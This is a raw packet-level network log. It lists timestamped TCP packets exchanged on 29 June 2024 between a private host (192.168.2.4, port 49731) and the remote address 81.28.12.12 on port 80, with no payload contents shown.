Jun 29, 2024 08:05:04.512054920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.513742924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.513783932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.513792992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.513797998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.513817072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.513839960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.515234947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.515259981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.515281916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.515302896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.515320063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.515328884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.515371084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.518964052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.518974066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.519016981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.519129038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.519140959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.519161940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.519180059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.519187927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.519198895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.519232988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.520467043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.520476103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.520489931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.520510912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.520550013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.520550013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.520550966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525293112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525346994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525371075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525423050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525458097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525479078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525501966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525532007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525584936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525665045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525697947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525718927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525739908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.525768042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.525815010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.527255058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.527312994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.527470112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.527523041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.527818918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.527848959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.527872086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.527889967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.529234886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.529268026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.529289007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.529305935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.529335976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.529385090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.532577991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.532610893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.532630920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.532654047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.532681942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.532732964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.533149004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.533180952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.533201933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.533224106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.533252001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.533299923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.534323931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.534356117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.534377098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.534396887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.534426928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.534477949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.538358927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.538412094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.538433075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.538467884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.538487911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.538517952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.538539886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.538574934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.538598061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.538629055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.539315939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.539371967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.539387941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.539412022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.539439917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.539477110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.539496899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.539516926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.540994883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.541028023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.541049004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.541086912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.541115046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.541163921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.542918921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.542952061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.542973042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.543003082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.543020964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.543040037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.544382095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.544411898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.544434071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.544462919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.544527054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.544560909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.544583082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.544615984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.545958996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.546010017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.546030045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.546061993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.546082973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.546114922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.547835112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.547868013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.547888041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.547905922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.547935963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.547996998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.549505949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.549613953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.549638033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.549669981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.549688101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.549705029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.551004887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.551050901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.551076889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.551107883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.551127911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.551153898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.552793980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.552828074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.552849054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.552865028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.552895069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.552942038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.554584026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.554619074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.554657936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.554685116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.554697990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.554917097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.556096077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.556147099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.556175947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.556206942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.556226015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.556248903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.557765961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.557817936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.557842970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.557873964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.557893038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.557919979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.559597015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.559629917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.559649944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.559683084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.559712887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.559762955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.561197996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.561249018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.561269045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.561300993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.561321020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.561345100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.562849045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.562879086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.562901020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.562917948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.562967062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.562995911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.563015938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.563044071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.576999903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577085018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577100039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577141047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577168941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577203035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577224016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577250957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577274084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577316999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577331066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577361107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.577383995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.577436924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581141949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581171036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581222057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581223011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581288099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581338882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581377029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581393957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581409931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581443071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581465006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581490993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581515074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581559896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.581573963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.581607103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.586426973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586458921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586518049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586533070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.586560011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.586585045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586617947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586639881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.586664915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.586692095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.586740017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.597558975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.597594976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.597630024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.597652912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.597672939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.597920895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.597954035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.597986937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.598007917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.598035097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601174116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601279974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601311922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601366043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601386070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601406097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601440907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601463079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601489067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601566076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601594925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.601614952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.601646900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.603008032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.603040934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.603072882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.603112936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.603112936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.603147984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.604753971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.604840994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.604888916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.604903936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.604903936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.604978085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.606327057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.606380939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.606399059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.606442928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.606470108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.606498957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.606518030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.606543064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.608172894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.608206987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.608238935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.608283043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.608323097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.609776974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.609828949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.609860897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.609908104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.609932899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.611428022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.611483097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.611502886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.611534119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.611582994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.611618042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.613163948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.613219023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.613236904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.613269091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.613289118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.613307953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.615267038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.615300894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.615334034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.615381002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.615405083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.616744041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.616776943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.616810083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.616847038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.616847038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.618303061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.618362904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.618379116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.618410110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.618453026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.620018005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.620052099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.620091915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.620114088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.620138884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.621838093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.621870995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.621891975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.621917009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.621942997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.621977091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.623414040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.623446941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.623477936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.623507023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.623529911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.625071049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.625125885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.625150919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.625181913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.625231028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.626816034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.626843929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.626893044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.626916885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.626945019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:04.626983881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:04.626983881 CEST	49731	80	192.168.2.4	81.28.12.12
